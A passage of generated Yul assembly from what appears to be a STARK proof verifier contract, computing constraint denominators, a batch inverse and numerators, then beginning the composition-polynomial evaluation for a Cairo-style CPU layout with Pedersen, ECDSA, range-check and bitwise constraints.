mstore(0x3520, expmod(/*trace_generator*/ mload(0x440), div(mul(3, /*trace_length*/ mload(0x80)), 16), PRIME))
// expmods[37] = trace_generator^(13 * trace_length / 64).
mstore(0x3540, expmod(/*trace_generator*/ mload(0x440), div(mul(13, /*trace_length*/ mload(0x80)), 64), PRIME))
// expmods[38] = trace_generator^(7 * trace_length / 32).
mstore(0x3560, expmod(/*trace_generator*/ mload(0x440), div(mul(7, /*trace_length*/ mload(0x80)), 32), PRIME))
// expmods[39] = trace_generator^(15 * trace_length / 64).
mstore(0x3580, expmod(/*trace_generator*/ mload(0x440), div(mul(15, /*trace_length*/ mload(0x80)), 64), PRIME))
}
{
// Prepare denominators for batch inverse.
// Denominator for constraints: 'cpu/decode/opcode_rc/bit', 'diluted_check/permutation/step0', 'diluted_check/step'.
// denominators[0] = point^trace_length - 1.
mstore(0x38c0,
addmod(/*point^trace_length*/ mload(0x30a0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc/zero'.
// denominators[1] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x38e0,
addmod(
/*point^(trace_length / 16)*/ mload(0x30c0),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3220)),
PRIME))
// Denominator for constraints: 'cpu/decode/opcode_rc_input', 'cpu/decode/flag_op1_base_op0_bit', 'cpu/decode/flag_res_op1_bit', 'cpu/decode/flag_pc_update_regular_bit', 'cpu/decode/fp_update_regular_bit', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/call/off0', 'cpu/opcodes/call/off1', 'cpu/opcodes/call/flags', 'cpu/opcodes/ret/off0', 'cpu/opcodes/ret/off2', 'cpu/opcodes/ret/flags', 'cpu/opcodes/assert_eq/assert_eq', 'public_memory_addr_zero', 'public_memory_value_zero'.
// denominators[2] = point^(trace_length / 16) - 1.
mstore(0x3900,
addmod(/*point^(trace_length / 16)*/ mload(0x30c0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'initial_ap', 'initial_fp', 'initial_pc', 'memory/multi_column_perm/perm/init0', 'memory/initial_addr', 'rc16/perm/init0', 'rc16/minimum', 'diluted_check/permutation/init0', 'diluted_check/init', 'diluted_check/first_element', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr', 'bitwise/init_var_pool_addr'.
// denominators[3] = point - 1.
mstore(0x3920,
addmod(point, sub(PRIME, 1), PRIME))
// Denominator for constraints: 'final_ap', 'final_fp', 'final_pc'.
// denominators[4] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3940,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3240)),
PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// denominators[5] = point^(trace_length / 2) - 1.
mstore(0x3960,
addmod(/*point^(trace_length / 2)*/ mload(0x30e0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'memory/multi_column_perm/perm/last'.
// denominators[6] = point - trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3980,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3260)),
PRIME))
// Denominator for constraints: 'rc16/perm/step0', 'rc16/diff_is_bit'.
// denominators[7] = point^(trace_length / 4) - 1.
mstore(0x39a0,
addmod(/*point^(trace_length / 4)*/ mload(0x3100), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc16/perm/last', 'rc16/maximum'.
// denominators[8] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x39c0,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x3280)),
PRIME))
// Denominator for constraints: 'diluted_check/permutation/last', 'diluted_check/last'.
// denominators[9] = point - trace_generator^(trace_length - 1).
mstore(0x39e0,
addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x32a0)), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y'.
// denominators[10] = point^(trace_length / 2048) - 1.
mstore(0x3a00,
addmod(/*point^(trace_length / 2048)*/ mload(0x3120), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y'.
// denominators[11] = point^(trace_length / 8) - 1.
mstore(0x3a20,
addmod(/*point^(trace_length / 8)*/ mload(0x3140), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_extraction_end'.
// denominators[12] = point^(trace_length / 2048) - trace_generator^(63 * trace_length / 64).
mstore(0x3a40,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(63 * trace_length / 64)*/ mload(0x32e0)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/ec_subset_sum/zeros_tail'.
// denominators[13] = point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
mstore(0x3a60,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/input0_value0', 'pedersen/input0_addr', 'pedersen/input1_value0', 'pedersen/input1_addr', 'pedersen/output_value0', 'pedersen/output_addr'.
// denominators[14] = point^(trace_length / 4096) - 1.
mstore(0x3a80,
addmod(/*point^(trace_length / 4096)*/ mload(0x3160), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'rc_builtin/value', 'rc_builtin/addr_step', 'bitwise/x_or_y_addr', 'bitwise/next_var_pool_addr', 'bitwise/or_is_and_plus_xor', 'bitwise/unique_unpacking192', 'bitwise/unique_unpacking193', 'bitwise/unique_unpacking194', 'bitwise/unique_unpacking195'.
// denominators[15] = point^(trace_length / 128) - 1.
mstore(0x3aa0,
addmod(/*point^(trace_length / 128)*/ mload(0x3180), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y', 'bitwise/step_var_pool_addr', 'bitwise/partition'.
// denominators[16] = point^(trace_length / 32) - 1.
mstore(0x3ac0,
addmod(/*point^(trace_length / 32)*/ mload(0x31a0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// denominators[17] = point^(trace_length / 64) - 1.
mstore(0x3ae0,
addmod(/*point^(trace_length / 64)*/ mload(0x31e0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/bit_extraction_end'.
// denominators[18] = point^(trace_length / 16384) - trace_generator^(251 * trace_length / 256).
mstore(0x3b00,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3360)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/zeros_tail'.
// denominators[19] = point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
mstore(0x3b20,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/bit_extraction_end'.
// denominators[20] = point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256).
mstore(0x3b40,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(251 * trace_length / 256)*/ mload(0x3360)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/exponentiate_key/zeros_tail'.
// denominators[21] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x3b60,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Denominator for constraints: 'ecdsa/signature0/init_gen/x', 'ecdsa/signature0/init_gen/y', 'ecdsa/signature0/add_results/slope', 'ecdsa/signature0/add_results/x', 'ecdsa/signature0/add_results/y', 'ecdsa/signature0/add_results/x_diff_inv', 'ecdsa/signature0/extract_r/slope', 'ecdsa/signature0/extract_r/x', 'ecdsa/signature0/extract_r/x_diff_inv', 'ecdsa/signature0/z_nonzero', 'ecdsa/signature0/q_on_curve/x_squared', 'ecdsa/signature0/q_on_curve/on_curve', 'ecdsa/message_addr', 'ecdsa/pubkey_addr', 'ecdsa/message_value0', 'ecdsa/pubkey_value0'.
// denominators[22] = point^(trace_length / 16384) - 1.
mstore(0x3b80,
addmod(/*point^(trace_length / 16384)*/ mload(0x3200), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'ecdsa/signature0/init_key/x', 'ecdsa/signature0/init_key/y', 'ecdsa/signature0/r_and_w_nonzero'.
// denominators[23] = point^(trace_length / 8192) - 1.
mstore(0x3ba0,
addmod(/*point^(trace_length / 8192)*/ mload(0x31c0), sub(PRIME, 1), PRIME))
// Denominator for constraints: 'bitwise/addition_is_xor_with_and'.
// denominators[24] = (point^(trace_length / 128) - 1) * (point^(trace_length / 128) - trace_generator^(trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 8)) * (point^(trace_length / 128) - trace_generator^(9 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(11 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(13 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(15 * trace_length / 64)).
{
let denominator := mulmod(
mulmod(
mulmod(
addmod(/*point^(trace_length / 128)*/ mload(0x3180), sub(PRIME, 1), PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 64)*/ mload(0x33c0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 32)*/ mload(0x33e0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 64)*/ mload(0x3400)),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 16)*/ mload(0x3420)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(5 * trace_length / 64)*/ mload(0x3440)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 32)*/ mload(0x3460)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(7 * trace_length / 64)*/ mload(0x3480)),
PRIME),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(trace_length / 8)*/ mload(0x34a0)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(9 * trace_length / 64)*/ mload(0x34c0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(5 * trace_length / 32)*/ mload(0x34e0)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(11 * trace_length / 64)*/ mload(0x3500)),
PRIME),
PRIME),
PRIME)
denominator := mulmod(
denominator,
mulmod(
mulmod(
mulmod(
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 16)*/ mload(0x3520)),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(13 * trace_length / 64)*/ mload(0x3540)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(7 * trace_length / 32)*/ mload(0x3560)),
PRIME),
PRIME),
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(15 * trace_length / 64)*/ mload(0x3580)),
PRIME),
PRIME),
PRIME)
mstore(0x3bc0, denominator)
}
}
{
// Compute the inverses of the denominators into denominatorInvs using batch inverse.
// Start by computing the cumulative product.
// Let (d_0, d_1, d_2, ..., d_{n-1}) be the values in denominators. After this loop
// denominatorInvs will be (1, d_0, d_0 * d_1, ...) and prod will contain the value of
// d_0 * ... * d_{n-1}.
// Compute the offset between the partialProducts array and the input values array.
let productsToValuesOffset := 0x320
let prod := 1
let partialProductEndPtr := 0x38c0
for { let partialProductPtr := 0x35a0 }
lt(partialProductPtr, partialProductEndPtr)
{ partialProductPtr := add(partialProductPtr, 0x20) } {
mstore(partialProductPtr, prod)
// prod *= d_{i}.
prod := mulmod(prod,
mload(add(partialProductPtr, productsToValuesOffset)),
PRIME)
}
let firstPartialProductPtr := 0x35a0
// Compute the inverse of the product.
let prodInv := expmod(prod, sub(PRIME, 2), PRIME)
if eq(prodInv, 0) {
// Solidity generates reverts with reason that look as follows:
// 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]).
// 2. 32 bytes offset bytes (always 0x20 as far as i can tell).
// 3. 32 bytes with the length of the revert reason.
// 4. Revert reason string.
mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(0x4, 0x20)
mstore(0x24, 0x1e)
mstore(0x44, "Batch inverse product is zero.")
revert(0, 0x62)
}
// Compute the inverses.
// Loop over denominator_invs in reverse order.
// currentPartialProductPtr is initialized to one past the end.
let currentPartialProductPtr := 0x38c0
for { } gt(currentPartialProductPtr, firstPartialProductPtr) { } {
currentPartialProductPtr := sub(currentPartialProductPtr, 0x20)
// Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}).
mstore(currentPartialProductPtr,
mulmod(mload(currentPartialProductPtr), prodInv, PRIME))
// Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i.
prodInv := mulmod(prodInv,
mload(add(currentPartialProductPtr, productsToValuesOffset)),
PRIME)
}
}
{
// Compute numerators.
// Numerator for constraints 'cpu/decode/opcode_rc/bit'.
// numerators[0] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
mstore(0x3be0,
addmod(
/*point^(trace_length / 16)*/ mload(0x30c0),
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3220)),
PRIME))
// Numerator for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'.
// numerators[1] = point - trace_generator^(16 * (trace_length / 16 - 1)).
mstore(0x3c00,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3240)),
PRIME))
// Numerator for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'.
// numerators[2] = point - trace_generator^(2 * (trace_length / 2 - 1)).
mstore(0x3c20,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3260)),
PRIME))
// Numerator for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'.
// numerators[3] = point - trace_generator^(4 * (trace_length / 4 - 1)).
mstore(0x3c40,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x3280)),
PRIME))
// Numerator for constraints 'diluted_check/permutation/step0', 'diluted_check/step'.
// numerators[4] = point - trace_generator^(trace_length - 1).
mstore(0x3c60,
addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x32a0)), PRIME))
// Numerator for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y'.
// numerators[5] = point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
mstore(0x3c80,
addmod(
/*point^(trace_length / 2048)*/ mload(0x3120),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y'.
// numerators[6] = point^(trace_length / 4096) - trace_generator^(trace_length / 2).
mstore(0x3ca0,
addmod(
/*point^(trace_length / 4096)*/ mload(0x3160),
sub(PRIME, /*trace_generator^(trace_length / 2)*/ mload(0x3300)),
PRIME))
// Numerator for constraints 'pedersen/input0_addr'.
// numerators[7] = point - trace_generator^(4096 * (trace_length / 4096 - 1)).
mstore(0x3cc0,
addmod(
point,
sub(PRIME, /*trace_generator^(4096 * (trace_length / 4096 - 1))*/ mload(0x3320)),
PRIME))
// Numerator for constraints 'rc_builtin/addr_step', 'bitwise/next_var_pool_addr'.
// numerators[8] = point - trace_generator^(128 * (trace_length / 128 - 1)).
mstore(0x3ce0,
addmod(
point,
sub(PRIME, /*trace_generator^(128 * (trace_length / 128 - 1))*/ mload(0x3340)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'.
// numerators[9] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256).
mstore(0x3d00,
addmod(
/*point^(trace_length / 8192)*/ mload(0x31c0),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'.
// numerators[10] = point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256).
mstore(0x3d20,
addmod(
/*point^(trace_length / 16384)*/ mload(0x3200),
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
// Numerator for constraints 'ecdsa/pubkey_addr'.
// numerators[11] = point - trace_generator^(16384 * (trace_length / 16384 - 1)).
mstore(0x3d40,
addmod(
point,
sub(PRIME, /*trace_generator^(16384 * (trace_length / 16384 - 1))*/ mload(0x3380)),
PRIME))
// Numerator for constraints 'bitwise/step_var_pool_addr'.
// numerators[12] = point^(trace_length / 128) - trace_generator^(3 * trace_length / 4).
mstore(0x3d60,
addmod(
/*point^(trace_length / 128)*/ mload(0x3180),
sub(PRIME, /*trace_generator^(3 * trace_length / 4)*/ mload(0x33a0)),
PRIME))
}
{
// Compute the result of the composition polynomial.
{
// cpu/decode/opcode_rc/bit_0 = column0_row0 - (column0_row1 + column0_row1).
let val := addmod(
/*column0_row0*/ mload(0x1600),
sub(
PRIME,
addmod(/*column0_row1*/ mload(0x1620), /*column0_row1*/ mload(0x1620), PRIME)),
PRIME)
mstore(0x2bc0, val)
}
{
// cpu/decode/opcode_rc/bit_2 = column0_row2 - (column0_row3 + column0_row3).
let val := addmod(
/*column0_row2*/ mload(0x1640),
sub(
PRIME,
addmod(/*column0_row3*/ mload(0x1660), /*column0_row3*/ mload(0x1660), PRIME)),
PRIME)
mstore(0x2be0, val)
}
{
// cpu/decode/opcode_rc/bit_4 = column0_row4 - (column0_row5 + column0_row5).
let val := addmod(
/*column0_row4*/ mload(0x1680),
sub(
PRIME,
addmod(/*column0_row5*/ mload(0x16a0), /*column0_row5*/ mload(0x16a0), PRIME)),
PRIME)
mstore(0x2c00, val)
}
{
// cpu/decode/opcode_rc/bit_3 = column0_row3 - (column0_row4 + column0_row4).
let val := addmod(
/*column0_row3*/ mload(0x1660),
sub(
PRIME,
addmod(/*column0_row4*/ mload(0x1680), /*column0_row4*/ mload(0x1680), PRIME)),
PRIME)
mstore(0x2c20, val)
}
{
// cpu/decode/flag_op1_base_op0_0 = 1 - (cpu__decode__opcode_rc__bit_2 + cpu__decode__opcode_rc__bit_4 + cpu__decode__opcode_rc__bit_3).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x2c00),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
PRIME)),
PRIME)
mstore(0x2c40, val)
}
{
// cpu/decode/opcode_rc/bit_5 = column0_row5 - (column0_row6 + column0_row6).
let val := addmod(
/*column0_row5*/ mload(0x16a0),
sub(
PRIME,
addmod(/*column0_row6*/ mload(0x16c0), /*column0_row6*/ mload(0x16c0), PRIME)),
PRIME)
mstore(0x2c60, val)
}
{
// cpu/decode/opcode_rc/bit_6 = column0_row6 - (column0_row7 + column0_row7).
let val := addmod(
/*column0_row6*/ mload(0x16c0),
sub(
PRIME,
addmod(/*column0_row7*/ mload(0x16e0), /*column0_row7*/ mload(0x16e0), PRIME)),
PRIME)
mstore(0x2c80, val)
}
{
// cpu/decode/opcode_rc/bit_9 = column0_row9 - (column0_row10 + column0_row10).
let val := addmod(
/*column0_row9*/ mload(0x1720),
sub(
PRIME,
addmod(/*column0_row10*/ mload(0x1740), /*column0_row10*/ mload(0x1740), PRIME)),
PRIME)
mstore(0x2ca0, val)
}
{
// cpu/decode/flag_res_op1_0 = 1 - (cpu__decode__opcode_rc__bit_5 + cpu__decode__opcode_rc__bit_6 + cpu__decode__opcode_rc__bit_9).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x2c60),
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x2c80),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
PRIME)),
PRIME)
mstore(0x2cc0, val)
}
{
// cpu/decode/opcode_rc/bit_7 = column0_row7 - (column0_row8 + column0_row8).
let val := addmod(
/*column0_row7*/ mload(0x16e0),
sub(
PRIME,
addmod(/*column0_row8*/ mload(0x1700), /*column0_row8*/ mload(0x1700), PRIME)),
PRIME)
mstore(0x2ce0, val)
}
{
// cpu/decode/opcode_rc/bit_8 = column0_row8 - (column0_row9 + column0_row9).
let val := addmod(
/*column0_row8*/ mload(0x1700),
sub(
PRIME,
addmod(/*column0_row9*/ mload(0x1720), /*column0_row9*/ mload(0x1720), PRIME)),
PRIME)
mstore(0x2d00, val)
}
{
// cpu/decode/flag_pc_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_8 + cpu__decode__opcode_rc__bit_9).
let val := addmod(
1,
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x2d00),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
PRIME)),
PRIME)
mstore(0x2d20, val)
}
{
// cpu/decode/opcode_rc/bit_12 = column0_row12 - (column0_row13 + column0_row13).
let val := addmod(
/*column0_row12*/ mload(0x1780),
sub(
PRIME,
addmod(/*column0_row13*/ mload(0x17a0), /*column0_row13*/ mload(0x17a0), PRIME)),
PRIME)
mstore(0x2d40, val)
}
{
// cpu/decode/opcode_rc/bit_13 = column0_row13 - (column0_row14 + column0_row14).
let val := addmod(
/*column0_row13*/ mload(0x17a0),
sub(
PRIME,
addmod(/*column0_row14*/ mload(0x17c0), /*column0_row14*/ mload(0x17c0), PRIME)),
PRIME)
mstore(0x2d60, val)
}
{
// cpu/decode/fp_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_13).
let val := addmod(
1,
sub(
PRIME,
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
PRIME)),
PRIME)
mstore(0x2d80, val)
}
{
// cpu/decode/opcode_rc/bit_1 = column0_row1 - (column0_row2 + column0_row2).
let val := addmod(
/*column0_row1*/ mload(0x1620),
sub(
PRIME,
addmod(/*column0_row2*/ mload(0x1640), /*column0_row2*/ mload(0x1640), PRIME)),
PRIME)
mstore(0x2da0, val)
}
{
// npc_reg_0 = column3_row0 + cpu__decode__opcode_rc__bit_2 + 1.
let val := addmod(
addmod(
/*column3_row0*/ mload(0x1c20),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
PRIME),
1,
PRIME)
mstore(0x2dc0, val)
}
{
// cpu/decode/opcode_rc/bit_10 = column0_row10 - (column0_row11 + column0_row11).
let val := addmod(
/*column0_row10*/ mload(0x1740),
sub(
PRIME,
addmod(/*column0_row11*/ mload(0x1760), /*column0_row11*/ mload(0x1760), PRIME)),
PRIME)
mstore(0x2de0, val)
}
{
// cpu/decode/opcode_rc/bit_11 = column0_row11 - (column0_row12 + column0_row12).
let val := addmod(
/*column0_row11*/ mload(0x1760),
sub(
PRIME,
addmod(/*column0_row12*/ mload(0x1780), /*column0_row12*/ mload(0x1780), PRIME)),
PRIME)
mstore(0x2e00, val)
}
{
// cpu/decode/opcode_rc/bit_14 = column0_row14 - (column0_row15 + column0_row15).
let val := addmod(
/*column0_row14*/ mload(0x17c0),
sub(
PRIME,
addmod(/*column0_row15*/ mload(0x17e0), /*column0_row15*/ mload(0x17e0), PRIME)),
PRIME)
mstore(0x2e20, val)
}
{
// memory/address_diff_0 = column4_row2 - column4_row0.
let val := addmod(/*column4_row2*/ mload(0x20c0), sub(PRIME, /*column4_row0*/ mload(0x2080)), PRIME)
mstore(0x2e40, val)
}
{
// rc16/diff_0 = column5_row6 - column5_row2.
let val := addmod(/*column5_row6*/ mload(0x21c0), sub(PRIME, /*column5_row2*/ mload(0x2140)), PRIME)
mstore(0x2e60, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_0 = column5_row7 - (column5_row15 + column5_row15).
let val := addmod(
/*column5_row7*/ mload(0x21e0),
sub(
PRIME,
addmod(/*column5_row15*/ mload(0x2280), /*column5_row15*/ mload(0x2280), PRIME)),
PRIME)
mstore(0x2e80, val)
}
{
// pedersen/hash0/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash0__ec_subset_sum__bit_0.
let val := addmod(
1,
